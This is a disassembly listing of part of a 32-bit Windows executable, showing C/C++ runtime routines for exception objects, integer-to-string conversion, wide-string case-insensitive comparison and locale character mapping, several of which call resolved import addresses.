		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426551:				; CODE XREF: sub_42653B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42653B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426557	proc near		; CODE XREF: sub_42653B+3p
					; DATA XREF: ___:00428104o
		mov	dword ptr [ecx], offset	off_427D10
		jmp	sub_42639A
sub_426557	endp


; =============== S U B	R O U T	I N E =======================================



sub_426562	proc near		; CODE XREF: sub_4265D6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_4264F8
		mov	dword ptr [esi], offset	off_427CE4
		mov	eax, esi
		pop	esi
		retn	4
sub_426562	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; CODE XREF: sub_40D765+15p
					; sub_40D7BE+15p ...
		mov	eax, offset loc_426DE6
		call	sub_41D3D0
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426370
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264B0
		push	offset dword_428100
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D10
		call	sub_426842
		int	3		; Trap to Debugger
sub_42657A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265BE	proc near		; CODE XREF: sub_4265D6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_4264F8
		mov	dword ptr [esi], offset	off_427D10
		mov	eax, esi
		pop	esi
		retn	4
sub_4265BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4265D6	proc near		; DATA XREF: ___:00427CDCo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4264F8
		push	offset dword_428140
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger


loc_4265F4:				; DATA XREF: ___:00427D18o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4265BE
		push	offset dword_428100
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger


loc_426612:				; DATA XREF: ___:00427CECo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426562
		push	offset dword_428058
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426842
		int	3		; Trap to Debugger
sub_4265D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426630	proc near
		jmp	near ptr 71B2ACCBh
sub_426630	endp

; ---------------------------------------------------------------------------
		pushf

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426636	proc near		; CODE XREF: sub_40D0EB+5Ep
					; ___:00415727p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42663C	proc near		; CODE XREF: sub_41D03C+23p
					; sub_41D2E0+13p
		jmp	near ptr 28721CCh
sub_42663C	endp

; ---------------------------------------------------------------------------
		db 11h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426642	proc near		; CODE XREF: ___:0040B084p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426657
		cmp	[ebp+arg_0], 0
		jge	short loc_426657
		push	1
		push	0Ah
		jmp	short loc_42665C
; ---------------------------------------------------------------------------


loc_426657:				; CODE XREF: sub_426642+7j
					; sub_426642+Dj
		push	0
		push	[ebp+arg_8]


loc_42665C:				; CODE XREF: sub_426642+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42666F
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_426642	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42666F	proc near		; CODE XREF: sub_426642+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_426689
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_42668C
; ---------------------------------------------------------------------------


loc_426689:				; CODE XREF: sub_42666F+Dj
		mov	esi, [ebp+arg_0]


loc_42668C:				; CODE XREF: sub_42666F+18j
		mov	edi, ecx


loc_42668E:				; CODE XREF: sub_42666F+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4266AA
		add	bl, 57h
		jmp	short loc_4266AD
; ---------------------------------------------------------------------------


loc_4266AA:				; CODE XREF: sub_42666F+34j
		add	bl, 30h


loc_4266AD:				; CODE XREF: sub_42666F+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_42668E
		and	byte ptr [ecx],	0
		dec	ecx


loc_4266B8:				; CODE XREF: sub_42666F+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4266B8
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42666F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4266CB	proc near		; CODE XREF: sub_4175C4+E2p
					; sub_4175C4+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4D97D0, 0
		push	ebx
		jnz	short loc_426711
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4266DD:				; CODE XREF: sub_4266CB+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_4266EF
		cmp	bx, 41h
		jb	short loc_4266EF
		add	ebx, 20h


loc_4266EF:				; CODE XREF: sub_4266CB+19j
					; sub_4266CB+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426701
		cmp	ax, 41h
		jb	short loc_426701
		add	eax, 20h


loc_426701:				; CODE XREF: sub_4266CB+2Bj
					; sub_4266CB+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_426741
		cmp	bx, ax
		jz	short loc_4266DD
		jmp	short loc_426741
; ---------------------------------------------------------------------------


loc_426711:				; CODE XREF: sub_4266CB+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_42671B:				; CODE XREF: sub_4266CB+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_42687C
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_42687C
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_42673F
		cmp	bx, ax
		jz	short loc_42671B


loc_42673F:				; CODE XREF: sub_4266CB+6Dj
		pop	edi
		pop	esi


loc_426741:				; CODE XREF: sub_4266CB+3Dj
					; sub_4266CB+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4266CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42674B	proc near		; CODE XREF: ___:00426763p
		mov	dword ptr [ecx], offset	off_427D30
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_42675F
		push	ecx
		call	sub_41BA31
		pop	ecx

locret_42675F:				; CODE XREF: sub_42674B+Bj
		retn
sub_42674B	endp

; ---------------------------------------------------------------------------


loc_426760:				; DATA XREF: ___:off_427D30o
		push	esi
		mov	esi, ecx
		call	sub_42674B
		test	byte ptr [esp+8], 1
		jz	short loc_426776
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426776:				; CODE XREF: ___:0042676Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_42677C:				; DATA XREF: ___:off_427D38o
		push	esi
		mov	esi, ecx
		call	sub_42681F
		test	byte ptr [esp+8], 1
		jz	short loc_426792
		push	esi
		call	sub_41D3EF
		pop	ecx


loc_426792:				; CODE XREF: ___:00426789j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_426798	proc near		; CODE XREF: sub_4263DE+1Dp
					; sub_4264B0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D38
		push	dword ptr [edi]
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41D735
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4267C7
		push	dword ptr [edi]
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx


loc_4267C7:				; CODE XREF: sub_426798+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426798	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267D5	proc near		; CODE XREF: sub_4264F8+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D38
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426812
		push	dword ptr [edi+4]
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41D735
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426818
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx
		jmp	short loc_426818
; ---------------------------------------------------------------------------


loc_426812:				; CODE XREF: sub_4267D5+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_426818:				; CODE XREF: sub_4267D5+2Ej
					; sub_4267D5+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4267D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42681F	proc near		; CODE XREF: sub_42639A+16j
					; ___:0042677Fp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D38
		jz	short locret_426834
		push	dword ptr [ecx+4]
		call	sub_41D3EF
		pop	ecx

locret_426834:				; CODE XREF: sub_42681F+Aj
		retn
sub_42681F	endp


; =============== S U B	R O U T	I N E =======================================



sub_426835	proc near		; DATA XREF: ___:00427D3Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426841
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426841:				; CODE XREF: sub_426835+5j
		retn
sub_426835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426842	proc near		; CODE XREF: sub_426453+37p
					; sub_42657A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D58
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 264135Bh
		pop	edi
		pop	esi
		leave
		retn	8
sub_426842	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42687C	proc near		; CODE XREF: sub_4266CB+56p
					; sub_4266CB+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_42688E
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42688E:				; CODE XREF: sub_42687C+Bj
		cmp	dword_4D97D0, 0
		jnz	short loc_4268A8
		cmp	ax, 41h
		jb	short locret_4268EF
		cmp	ax, 5Ah
		ja	short locret_4268EF
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268A8:				; CODE XREF: sub_42687C+19j
		cmp	ax, 100h
		jnb	short loc_4268C2
		push	1
		push	eax
		call	sub_426B2A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4268C2
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268C2:				; CODE XREF: sub_42687C+30j
					; sub_42687C+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4D97D0
		call	sub_4268F1
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_4268EF
		mov	ax, [ebp+var_2]

locret_4268EF:				; CODE XREF: sub_42687C+1Fj
					; sub_42687C+25j ...
		leave
		retn
sub_42687C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268F1	proc near		; CODE XREF: sub_42687C+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D78
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4D9A24, esi
		jnz	short loc_426967
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427908
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_426945
		mov	dword_4D9A24, ebx
		jmp	short loc_426967
; ---------------------------------------------------------------------------


loc_426945:				; CODE XREF: sub_4268F1+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4C91BC
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_426AE6
		mov	dword_4D9A24, 2


loc_426967:				; CODE XREF: sub_4268F1+2Ej
					; sub_4268F1+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_42697C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426AFA
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_42697C:				; CODE XREF: sub_4268F1+79j
		mov	eax, dword_4D9A24
		cmp	eax, 1
		jnz	short loc_4269A3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		jmp	loc_426AE8
; ---------------------------------------------------------------------------


loc_4269A3:				; CODE XREF: sub_4268F1+93j
		cmp	eax, 2
		jnz	loc_426AE6
		cmp	[ebp+arg_18], esi
		jnz	short loc_4269B9
		mov	eax, dword_4D97E0
		mov	[ebp+arg_18], eax


loc_4269B9:				; CODE XREF: sub_4268F1+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28310EEh
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426AE6
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_4269FF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_4269FF:				; CODE XREF: sub_4268F1+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426AE6
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28310EEh
		nop
		test	eax, eax
		jz	loc_426AE6
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426AE6
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426A82
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426A82:				; CODE XREF: sub_4268F1+17Dj
		cmp	ebx, esi
		jz	short loc_426AE6
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_426AE6
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426AC0
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426AE2
		cmp	eax, edi
		jl	short loc_426AB1
		mov	eax, edi


loc_426AB1:				; CODE XREF: sub_4268F1+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BD70
		add	esp, 0Ch
		jmp	short loc_426AE2
; ---------------------------------------------------------------------------


loc_426AC0:				; CODE XREF: sub_4268F1+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426AC9
		push	esi
		push	esi
		jmp	short loc_426ACF
; ---------------------------------------------------------------------------


loc_426AC9:				; CODE XREF: sub_4268F1+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426ACF:				; CODE XREF: sub_4268F1+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	near ptr 2700000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426AE6


loc_426AE2:				; CODE XREF: sub_4268F1+1B8j
					; sub_4268F1+1CDj
		mov	eax, edi
		jmp	short loc_426AE8
; ---------------------------------------------------------------------------


loc_426AE6:				; CODE XREF: sub_4268F1+66j
					; sub_4268F1+B5j ...
		xor	eax, eax


loc_426AE8:				; CODE XREF: sub_4268F1+ADj
					; sub_4268F1+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426AFA	proc near		; CODE XREF: sub_4268F1+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426B19


loc_426B0A:				; CODE XREF: sub_426AFA+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426B19
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426B0A


loc_426B19:				; CODE XREF: sub_426AFA+Ej
					; sub_426AFA+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426B27
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426B27:				; CODE XREF: sub_426AFA+24j
		mov	eax, edx
		retn
sub_426AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B2A	proc near		; CODE XREF: sub_42687C+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426B6A
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426B4E
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43A684
		mov	ax, [ecx+eax*2]
		jmp	short loc_426B71
; ---------------------------------------------------------------------------


loc_426B4E:				; CODE XREF: sub_426B2A+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426B7C
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426B6E


loc_426B6A:				; CODE XREF: sub_426B2A+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426B6E:				; CODE XREF: sub_426B2A+3Ej
		mov	eax, [ebp+var_4]


loc_426B71:				; CODE XREF: sub_426B2A+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426B2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B7C	proc near		; CODE XREF: sub_426B2A+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D90
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4D9A28
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426BEB
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427908
		push	esi
		call	near ptr 260055Fh
		nop
		test	eax, eax
		jz	short loc_426BC9
		mov	eax, esi
		jmp	short loc_426BE6
; ---------------------------------------------------------------------------


loc_426BC9:				; CODE XREF: sub_426B7C+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4C91BC
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426D2D
		push	2
		pop	eax


loc_426BE6:				; CODE XREF: sub_426B7C+4Bj
		mov	dword_4D9A28, eax


loc_426BEB:				; CODE XREF: sub_426B7C+2Fj
		cmp	eax, 1
		jnz	short loc_426C07
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 260055Fh
		jmp	loc_426D2F
; ---------------------------------------------------------------------------


loc_426C07:				; CODE XREF: sub_426B7C+72j
		cmp	eax, 2
		jnz	loc_426D2D
		cmp	[ebp+arg_10], edi
		jnz	short loc_426C1D
		mov	eax, dword_4D97E0
		mov	[ebp+arg_10], eax


loc_426C1D:				; CODE XREF: sub_426B7C+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 28310EEh
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426D2D
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426C7B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426C7B:				; CODE XREF: sub_426B7C+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426D2D
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 28310EEh
		nop
		test	eax, eax
		jz	loc_426D2D
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426CD0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426CD0:				; CODE XREF: sub_426B7C+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426D2D
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426CE4
		mov	eax, dword_4D97D0


loc_426CE4:				; CODE XREF: sub_426B7C+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2610000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426D2D
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426D2D
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D400
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426D2F
; ---------------------------------------------------------------------------


loc_426D2D:				; CODE XREF: sub_426B7C+61j
					; sub_426B7C+8Ej ...
		xor	eax, eax


loc_426D2F:				; CODE XREF: sub_426B7C+86j
					; sub_426B7C+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426B7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426D44	proc near		; DATA XREF: ___:00427F44o

; FUNCTION CHUNK AT 0040D75D SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D75D
sub_426D44	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426D62
		mov	ecx, [ebp+8]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------

locret_426D62:				; CODE XREF: ___:00426D54j
		retn
; ---------------------------------------------------------------------------


loc_426D63:				; DATA XREF: sub_40D327o
		mov	eax, offset dword_427F18
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


loc_426D78:				; DATA XREF: ___:00427F74o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


loc_426D80:				; DATA XREF: sub_40D4C9o
		mov	eax, offset dword_427F48
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		align 4


loc_426D8C:				; DATA XREF: sub_40DA40o
		mov	eax, offset dword_427F78
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_42681F
; ---------------------------------------------------------------------------


loc_426D9E:				; DATA XREF: sub_4263DEo
		mov	eax, offset dword_427FD8
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


loc_426DB0:				; DATA XREF: sub_426453o
		mov	eax, offset dword_428070
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_42681F
; ---------------------------------------------------------------------------


loc_426DC2:				; DATA XREF: sub_4264B0o
		mov	eax, offset dword_428094
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_42681F
; ---------------------------------------------------------------------------


loc_426DD4:				; DATA XREF: sub_4264F8o
		mov	eax, offset dword_4280B8
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D75D
; ---------------------------------------------------------------------------


loc_426DE6:				; DATA XREF: sub_42657Ao
		mov	eax, offset dword_428118
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		dd 84h dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E05FEh, 25F0000h, 25F0AEDh
		dd 2600000h, 2600506h, 260055Fh, 2610000h, 26107CAh, 2610C72h
